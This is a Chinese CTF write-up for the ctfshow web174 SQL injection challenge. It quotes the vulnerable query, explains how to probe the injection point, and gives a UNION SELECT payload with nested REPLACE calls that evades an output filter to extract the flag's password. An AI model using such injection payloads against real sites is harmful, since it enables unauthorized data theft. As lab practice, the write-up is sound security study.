ctfshow web174

ctfshow web174

  • 题号:web174
  • 难度:⭐
  • 考点:如 SQL 注入(无回显)
  • 日期:2026-8-27

题目描述

Pasted image 20260827112110

解题思路

核心思路:发现注入点、识别盲注条件成功与否返回值、构造条件语句、构造截取字符串。 打开题目发现:
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
1、抓包,确认注入点在哪里。
/api/v4.php?id=1
2、输入1、1’、1"确认是字符型还是数值型。同时确认闭合形式。
其他题目必要时输入1’") 。
对于数值型,输入1’和1"返回值都一样。对于字符型,输入1和1’是不一样的返回结果。 输入1'返回结果空,说明程序运行异常。构造1' and 1=1 -- +

Payload / 关键操作

? id=0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag'%23

复现截图

Pasted image 20260827112134

对应小迪课程章节

SQL注入

踩坑记录 / 复盘

1.使用union select的时候面对数值可以直接写,比如union select 1,2;但如果是字符就必须加引号,不然数据库会以为你是要查询对应的列名:union select ‘a’,‘b’